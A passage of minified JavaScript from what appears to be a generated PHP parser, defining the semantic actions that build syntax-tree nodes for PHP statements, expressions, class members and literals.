arser.prototype.yyn101=function(e){this.yyval=[]},r.Parser.prototype.yyn102=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn103=function(e){this.yyval=this.Node_Stmt_ElseIf(this.yyastk[this.stackPos-2],Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]],e)},r.Parser.prototype.yyn104=function(e){this.yyval=[]},r.Parser.prototype.yyn105=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn106=function(e){this.yyval=this.Node_Stmt_ElseIf(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn107=function(e){this.yyval=null},r.Parser.prototype.yyn108=function(e){this.yyval=this.Node_Stmt_Else(Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]],e)},r.Parser.prototype.yyn109=function(e){this.yyval=null},r.Parser.prototype.yyn110=function(e){this.yyval=this.Node_Stmt_Else(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn111=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn112=function(e){this.yyval=[]},r.Parser.prototype.yyn113=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn114=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn115=function(e){this.yyval=this.Node_Param(this.yyastk[this.stackPos-0].substring(1),null,this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn116=function(e){this.yyval=this.Node_Param(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-3],e)},r.Parser.prototype.yyn117=function(e){this.yyval=null},r.Parser.prototype.yyn118=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn119=function(e){this.yyval=\"array\"},r.Parser.prototype.yyn120=function(e){this.yyval=\"callable\"},r.Parser.prototype.yyn121=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn122=function(e){this.yyval=[]},r.Parser.prototype.yyn123=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn124=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn125=function(e){this.yyval=this.Node_Arg(this.yyastk[this.stackPos-0],!1,e)},r.Parser.prototype.yyn126=function(e){this.yyval=this.Node_Arg(this.yyastk[this.stackPos-0],!0,e)},r.Parser.prototype.yyn127=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn128=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn129=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn130=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn131=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn132=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn133=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn134=function(e){this.yyval=this.Node_Stmt_StaticVar(this.yyastk[this.stackPos-0].substring(1),null,e)},r.Parser.prototype.yyn135=function(e){this.yyval=this.Node_Stmt_StaticVar(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn136=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn137=function(e){this.yyval=[]},r.Parser.prototype.yyn138=function(e){this.yyval=this.Node_Stmt_Property(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn139=function(e){this.yyval=this.Node_Stmt_ClassConst(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn140=function(e){this.yyval=this.Node_Stmt_ClassMethod(this.yyastk[this.stackPos-4],{type:this.yyastk[this.stackPos-7],byRef:this.yyastk[this.stackPos-5],params:this.yyastk[this.stackPos-2],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn141=function(e){this.yyval=this.Node_Stmt_TraitUse(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn142=function(e){this.yyval=[]},r.Parser.prototype.yyn143=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn144=function(e){this.yyval=[]},r.Parser.prototype.yyn145=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn146=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Precedence(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn147=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-4][0],this.yyastk[this.stackPos-4][1],this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn148=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],this.yyastk[this.stackPos-1],null,e)},r.Parser.prototype.yyn149=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],null,this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn150=function(e){this.yyval=array(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn151=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn152=function(e){this.yyval=array(null,this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn153=function(e){this.yyval=null},r.Parser.prototype.yyn154=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn155=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn156=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn157=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn158=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn159=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn160=function(e){this.Stmt_Class_verifyModifier(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]|this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn161=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn162=function(e){this.yyval=this.MODIFIER_PROTECTED},r.Parser.prototype.yyn163=function(e){this.yyval=this.MODIFIER_PRIVATE},r.Parser.prototype.yyn164=function(e){this.yyval=this.MODIFIER_STATIC},r.Parser.prototype.yyn165=function(e){this.yyval=this.MODIFIER_ABSTRACT},r.Parser.prototype.yyn166=function(e){this.yyval=this.MODIFIER_FINAL},r.Parser.prototype.yyn167=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn168=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn169=function(e){this.yyval=this.Node_Stmt_PropertyProperty(this.yyastk[this.stackPos-0].substring(1),null,e)},r.Parser.prototype.yyn170=function(e){this.yyval=this.Node_Stmt_PropertyProperty(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn171=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn172=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn173=function(e){this.yyval=[]},r.Parser.prototype.yyn174=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn175=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn176=function(e){this.yyval=this.Node_Expr_AssignList(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn177=function(e){this.yyval=this.Node_Expr_Assign(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn178=function(e){this.yyval=this.Node_Expr_AssignRef(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn179=function(e){this.yyval=this.Node_Expr_AssignRef(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn180=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn181=function(e){this.yyval=this.Node_Expr_Clone(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn182=function(e){this.yyval=this.Node_Expr_AssignPlus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn183=function(e){this.yyval=this.Node_Expr_AssignMinus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn184=function(e){this.yyval=this.Node_Expr_AssignMul(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn185=function(e){this.yyval=this.Node_Expr_AssignDiv(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn186=function(e){this.yyval=this.Node_Expr_AssignConcat(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn187=function(e){this.yyval=this.Node_Expr_AssignMod(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn188=function(e){this.yyval=this.Node_Expr_AssignBitwiseAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn189=function(e){this.yyval=this.Node_Expr_AssignBitwiseOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn190=function(e){this.yyval=this.Node_Expr_AssignBitwiseXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn191=function(e){this.yyval=this.Node_Expr_AssignShiftLeft(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn192=function(e){this.yyval=this.Node_Expr_AssignShiftRight(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn193=function(e){this.yyval=this.Node_Expr_PostInc(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn194=function(e){this.yyval=this.Node_Expr_PreInc(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn195=function(e){this.yyval=this.Node_Expr_PostDec(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn196=function(e){this.yyval=this.Node_Expr_PreDec(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn197=function(e){this.yyval=this.Node_Expr_BooleanOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn198=function(e){this.yyval=this.Node_Expr_BooleanAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn199=function(e){this.yyval=this.Node_Expr_LogicalOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn200=function(e){this.yyval=this.Node_Expr_LogicalAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn201=function(e){this.yyval=this.Node_Expr_LogicalXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn202=function(e){this.yyval=this.Node_Expr_BitwiseOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn203=function(e){this.yyval=this.Node_Expr_BitwiseAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn204=function(e){this.yyval=this.Node_Expr_BitwiseXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn205=function(e){this.yyval=this.Node_Expr_Concat(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn206=function(e){this.yyval=this.Node_Expr_Plus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn207=function(e){this.yyval=this.Node_Expr_Minus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn208=function(e){this.yyval=this.Node_Expr_Mul(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn209=function(e){this.yyval=this.Node_Expr_Div(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn210=function(e){this.yyval=this.Node_Expr_Mod(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn211=function(e){this.yyval=this.Node_Expr_ShiftLeft(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn212=function(e){this.yyval=this.Node_Expr_ShiftRight(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn213=function(e){this.yyval=this.Node_Expr_UnaryPlus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn214=function(e){this.yyval=this.Node_Expr_UnaryMinus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn215=function(e){this.yyval=this.Node_Expr_BooleanNot(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn216=function(e){this.yyval=this.Node_Expr_BitwiseNot(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn217=function(e){this.yyval=this.Node_Expr_Identical(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn218=function(e){this.yyval=this.Node_Expr_NotIdentical(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn219=function(e){this.yyval=this.Node_Expr_Equal(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn220=function(e){this.yyval=this.Node_Expr_NotEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn221=function(e){this.yyval=this.Node_Expr_Smaller(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn222=function(e){this.yyval=this.Node_Expr_SmallerOrEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn223=function(e){this.yyval=this.Node_Expr_Greater(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn224=function(e){this.yyval=this.Node_Expr_GreaterOrEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn225=function(e){this.yyval=this.Node_Expr_Instanceof(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn226=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn227=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn228=function(e){this.yyval=this.Node_Expr_Ternary(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn229=function(e){this.yyval=this.Node_Expr_Ternary(this.yyastk[this.stackPos-3],null,this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn230=function(e){this.yyval=this.Node_Expr_Isset(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn231=function(e){this.yyval=this.Node_Expr_Empty(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn232=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_Include\",e)},r.Parser.prototype.yyn233=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_IncludeOnce\",e)},r.Parser.prototype.yyn234=function(e){this.yyval=this.Node_Expr_Eval(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn235=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_Require\",e)},r.Parser.prototype.yyn236=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_RequireOnce\",e)},r.Parser.prototype.yyn237=function(e){this.yyval=this.Node_Expr_Cast_Int(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn238=function(e){this.yyval=this.Node_Expr_Cast_Double(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn239=function(e){this.yyval=this.Node_Expr_Cast_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn240=function(e){this.yyval=this.Node_Expr_Cast_Array(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn241=function(e){this.yyval=this.Node_Expr_Cast_Object(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn242=function(e){this.yyval=this.Node_Expr_Cast_Bool(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn243=function(e){this.yyval=this.Node_Expr_Cast_Unset(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn244=function(e){this.yyval=this.Node_Expr_Exit(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn245=function(e){this.yyval=this.Node_Expr_ErrorSuppress(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn246=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn247=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn248=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn249=function(e){this.yyval=this.Node_Expr_ShellExec(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn250=function(e){this.yyval=this.Node_Expr_Print(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn251=function(e){this.yyval=this.Node_Expr_Closure({\"static\":!1,byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-5],uses:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn252=function(e){this.yyval=this.Node_Expr_Closure({\"static\":!0,byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-5],uses:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn253=function(e){this.yyval=this.Node_Expr_New(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn254=function(e){this.yyval=[]},r.Parser.prototype.yyn255=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn256=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn257=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn258=function(e){this.yyval=this.Node_Expr_ClosureUse(this.yyastk[this.stackPos-0].substring(1),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn259=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn260=function(e){this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn261=function(e){this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-7],this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn262=function(e){if(this.yyastk[this.stackPos-3].type===\"Node_Expr_StaticPropertyFetch\")this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-3].Class,this.Node_Expr_Variable(this.yyastk[this.stackPos-3].name,e),this.yyastk[this.stackPos-1],e);else{if(this.yyastk[this.stackPos-3].type!==\"Node_Expr_ArrayDimFetch\")throw new Exception;var t=this.yyastk[this.stackPos-3];while(t.variable.type===\"Node_Expr_ArrayDimFetch\")t=t.variable;this.yyval=this.Node_Expr_StaticCall(t.variable.Class,this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e),t.variable=this.Node_Expr_Variable(t.variable.name,e)}},r.Parser.prototype.yyn263=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn264=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn265=function(e){this.yyval=this.Node_Name(\"static\",e)},r.Parser.prototype.yyn266=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn267=function(e){this.yyval=this.Node_Name(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn268=function(e){this.yyval=this.Node_Name_FullyQualified(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn269=function(e){this.yyval=this.Node_Name_Relative(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn270=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn271=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn272=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn273=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn274=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn275=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn276=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn277=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn278=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn279=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn280=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn281=function(e){this.yyval=null},r.Parser.prototype.yyn282=function(e){this.yyval=null},r.Parser.prototype.yyn283=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn284=function(e){this.yyval=[]},r.Parser.prototype.yyn285=function(e){this.yyval=[this.Scalar_String_parseEscapeSequences(this.yyastk[this.stackPos-0],\"`\")]},r.Parser.prototype.yyn286=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn287=function(e){this.yyval=[]},r.Parser.prototype.yyn288=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn289=function(e){this.yyval=this.Node_Scalar_LNumber(this.Scalar_LNumber_parse(this.yyastk[this.stackPos-0]),e)},r.Parser.prototype.yyn290=function(e){this.yyval=this.Node_Scalar_DNumber(this.Scalar_DNumber_parse(this.yyastk[this.stackPos-0]),e)},r.Parser.prototype.yyn291=function(e){this.yyval=this.Scalar_String_create(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn292=function(e){this.yyval={type:\"Node_Scalar_LineConst\",attributes:e}},r.Parser.prototype.yyn293=function(e){this.yyval={type:\"Node_Scalar_FileConst\",attributes:e}},r.Parser.prototype.yyn294=function(e){this.yyval={type:\"Node_Scalar_DirConst\",attributes:e}},r.Parser.prototype.yyn295=function(e){this.yyval={type:\"Node_Scalar_ClassConst\",attributes:e}},r.Parser.prototype.yyn296=function(e){this.yyval={type:\"Node_Scalar_TraitConst\",attributes:e}},r.Parser.prototype.yyn297=function(e){this.yyval={type:\"Node_Scalar_MethodConst\",attributes:e}},r.Parser.prototype.yyn298=function(e){this.yyval={type:\"Node_Scalar_FuncConst\",attributes:e}},r.Parser.prototype.yyn299=function(e){this.yyval={type:\"Node_Scalar_NSConst\",attributes:e}},r.Parser.prototype.yyn300=function(e){this.yyval=this.Node_Scalar_String(this.Scalar_String_parseDocString(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1]),e)},r.Parser.prototype.yyn301=function(e){this.yyval=this.Node_Scalar_String(\"\",e)},r.Parser.prototype.yyn302=function(e){this.yyval=this.Node_Expr_ConstFetch(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn303=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn304=function(e){this.yyval=this.Node_Expr_ClassConstFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn305=function(e){this.yyval=this.Node_Expr_UnaryPlus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn306=function(e){this.yyval=this.Node_Expr_UnaryMinus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn307=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn308=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn309=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn310=function(e){this.yyval=this.Node_Expr_ClassConstFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn311=function(e){this.yyval=this.Node_Scalar_Encapsed(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn312=function(e){this.yyval=this.Node_Scalar_Encapsed(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn313=function(e){this.yyval=[]},r.Parser.prototype.yyn314=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn315=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn316=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn317=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn318=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn319=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-2],!1,e)},r.Parser.prototype.yyn320=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!1,e)},r.Parser.prototype.yyn321=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn322=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn323=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn324=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn325=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn326=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn327=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn328=function(e){this.yyval=this.Node_Expr_MethodCall(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn329=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn330=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn331=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn332=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn333=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn334=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn335=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn336=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn337=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn338=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn339=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn340=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.